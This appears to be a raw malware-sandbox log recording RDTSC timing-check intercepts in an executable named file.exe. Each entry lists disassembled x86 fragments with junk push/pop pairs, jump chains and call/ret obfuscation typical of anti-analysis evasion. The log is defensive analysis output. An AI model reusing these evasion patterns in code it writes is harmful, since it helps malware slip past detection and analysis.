Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B6CA3 second address: 6B6CA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1C64 second address: 6C1C6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1C6A second address: 6C1C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FA43130E316h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1DB3 second address: 6C1DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1DB7 second address: 6C1DD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FA43130E31Ch 0x0000000c push esi 0x0000000d jmp 00007FA43130E31Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1F33 second address: 6C1F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1F39 second address: 6C1F67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E31Bh 0x00000007 jmp 00007FA43130E327h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jo 00007FA43130E32Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C251B second address: 6C251F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C251F second address: 6C2537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA43130E320h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2537 second address: 6C254D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FA430E679EAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C254D second address: 6C2551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2551 second address: 6C2555 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C2555 second address: 6C2565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jg 00007FA43130E32Ah 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5B5F second address: 6C5B63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5B63 second address: 6C5B67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5B67 second address: 6C5B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5B78 second address: 6C5BAD instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA43130E316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FA43130E323h 0x0000000f popad 0x00000010 nop 0x00000011 mov ch, B4h 0x00000013 push 00000000h 0x00000015 movsx edx, ax 0x00000018 push BFC2319Bh 0x0000001d jl 00007FA43130E324h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5BAD second address: 6C5BB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5BB1 second address: 6C5C30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 403DCEE5h 0x0000000d jnl 00007FA43130E323h 0x00000013 jmp 00007FA43130E321h 0x00000018 push 00000003h 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007FA43130E318h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 push 00000000h 0x00000036 xor edi, dword ptr [ebp+122D2B44h] 0x0000003c push 00000003h 0x0000003e xor ch, 00000021h 0x00000041 push 8EB0279Ah 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007FA43130E327h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5C30 second address: 6C5C6F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jns 00007FA430E679E6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xor dword ptr [esp], 4EB0279Ah 0x00000015 mov dword ptr [ebp+122D1ADAh], ebx 0x0000001b jmp 00007FA430E679F1h 0x00000020 lea ebx, dword ptr [ebp+124579A3h] 0x00000026 xor dword ptr [ebp+122D3320h], edx 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5C6F second address: 6C5C75 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5DB6 second address: 6C5E61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jno 00007FA430E679EEh 0x00000011 nop 0x00000012 movzx ecx, cx 0x00000015 push 00000000h 0x00000017 mov edi, dword ptr [ebp+122D307Eh] 0x0000001d jmp 00007FA430E679F0h 0x00000022 push 63AA7104h 0x00000027 jng 00007FA430E679FAh 0x0000002d jmp 00007FA430E679F4h 0x00000032 xor dword ptr [esp], 63AA7184h 0x00000039 add dx, 2A45h 0x0000003e mov edi, 065318F9h 0x00000043 push 00000003h 0x00000045 mov edi, eax 0x00000047 push 00000000h 0x00000049 cmc 0x0000004a pushad 0x0000004b mov ecx, dword ptr [ebp+122D2CD0h] 0x00000051 call 00007FA430E679ECh 0x00000056 call 00007FA430E679F7h 0x0000005b pop edx 0x0000005c pop ebx 0x0000005d popad 0x0000005e push 00000003h 0x00000060 mov dword ptr [ebp+122D1A63h], edi 0x00000066 push FA92E84Ch 0x0000006b push eax 0x0000006c push edx 0x0000006d pushad 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5E61 second address: 6C5E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5E67 second address: 6C5E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5E6C second address: 6C5E72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5E72 second address: 6C5E76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5E76 second address: 6C5EB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 3A92E84Ch 0x0000000f mov edi, dword ptr [ebp+122D2A80h] 0x00000015 lea ebx, dword ptr [ebp+124579B7h] 0x0000001b or di, 49BFh 0x00000020 push edx 0x00000021 pushad 0x00000022 jp 00007FA43130E316h 0x00000028 mov eax, dword ptr [ebp+122D2A80h] 0x0000002e popad 0x0000002f pop edi 0x00000030 push eax 0x00000031 push esi 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FA43130E31Eh 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5EB8 second address: 6C5EBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E694B second address: 6E6978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA43130E31Bh 0x00000009 popad 0x0000000a jmp 00007FA43130E327h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6978 second address: 6E697C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E495B second address: 6E495F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4BF3 second address: 6E4BF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4E7D second address: 6E4E81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E526F second address: 6E5288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FA430E679E6h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FA430E679EBh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5288 second address: 6E529F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FA43130E316h 0x00000011 jo 00007FA43130E316h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5578 second address: 6E558F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA430E679EBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E558F second address: 6E55A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FA43130E321h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E55A5 second address: 6E55AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE7A4 second address: 6AE7AE instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA43130E316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE7AE second address: 6AE7B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE7B6 second address: 6AE7BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5FDA second address: 6E5FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5FE0 second address: 6E5FE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6123 second address: 6E6131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop ebx 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6131 second address: 6E6140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 js 00007FA43130E31Eh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECE46 second address: 6ECE57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA430E679EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ECE57 second address: 6ECE5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBDA7 second address: 6BBDAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F0B1E second address: 6F0B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F42D6 second address: 6F42E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F46D4 second address: 6F46DA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F52AE second address: 6F533C instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA430E679E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007FA430E679F0h 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 jnl 00007FA430E679F0h 0x0000001b nop 0x0000001c mov esi, dword ptr [ebp+122D2C84h] 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ecx 0x00000027 call 00007FA430E679E8h 0x0000002c pop ecx 0x0000002d mov dword ptr [esp+04h], ecx 0x00000031 add dword ptr [esp+04h], 00000014h 0x00000039 inc ecx 0x0000003a push ecx 0x0000003b ret 0x0000003c pop ecx 0x0000003d ret 0x0000003e mov dword ptr [ebp+122D3320h], ebx 0x00000044 xor dword ptr [ebp+122D2EBAh], eax 0x0000004a push 00000000h 0x0000004c mov dword ptr [ebp+122D3023h], esi 0x00000052 movsx esi, cx 0x00000055 push eax 0x00000056 pushad 0x00000057 pushad 0x00000058 push ecx 0x00000059 pop ecx 0x0000005a jmp 00007FA430E679F8h 0x0000005f popad 0x00000060 push eax 0x00000061 push edx 0x00000062 push ecx 0x00000063 pop ecx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F533C second address: 6F5340 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F5CF5 second address: 6F5CF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F5B97 second address: 6F5BA8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA43130E316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F77A0 second address: 6F7810 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FA430E679F1h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FA430E679E8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 add dword ptr [ebp+122D3320h], ebx 0x0000002e push 00000000h 0x00000030 mov esi, edx 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007FA430E679E8h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e xchg eax, ebx 0x0000004f push eax 0x00000050 push edx 0x00000051 jnl 00007FA430E679E8h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F82EA second address: 6F82F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F82F0 second address: 6F82F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F82F4 second address: 6F8311 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA43130E322h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F802F second address: 6F8034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA1D8 second address: 6FA1DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA1DC second address: 6FA1E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA1E2 second address: 6FA1FD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA43130E31Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA341 second address: 6BA345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA345 second address: 6BA35B instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA43130E316h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FA43130E31Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE3BD second address: 6FE3CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA430E679EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE3CE second address: 6FE3E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E31Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE3E9 second address: 6FE3ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70333A second address: 70334F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E321h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70334F second address: 703356 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7044C3 second address: 7044CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FA43130E316h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF601 second address: 6FF606 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700591 second address: 7005A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF693 second address: 6FF69E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF69E second address: 6FF6A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7035B6 second address: 7035BC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70859D second address: 7085BF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007FA43130E316h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA43130E323h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7085BF second address: 708626 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA430E679EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FA430E679E8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 pushad 0x00000027 jmp 00007FA430E679F4h 0x0000002c mov dx, BE67h 0x00000030 popad 0x00000031 push 00000000h 0x00000033 mov edi, dword ptr [ebp+122D3291h] 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FA430E679F0h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708626 second address: 708630 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FA43130E316h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7077AA second address: 7077AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70589F second address: 7058B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA43130E31Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7095D0 second address: 7095F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 nop 0x00000006 mov bx, di 0x00000009 mov dword ptr [ebp+122D1A2Ah], edx 0x0000000f push 00000000h 0x00000011 mov bx, di 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 add ebx, 2F924197h 0x0000001d pop ebx 0x0000001e push eax 0x0000001f push ebx 0x00000020 push ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708771 second address: 708775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70B573 second address: 70B579 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70B579 second address: 70B57F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70B57F second address: 70B585 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70B585 second address: 70B589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
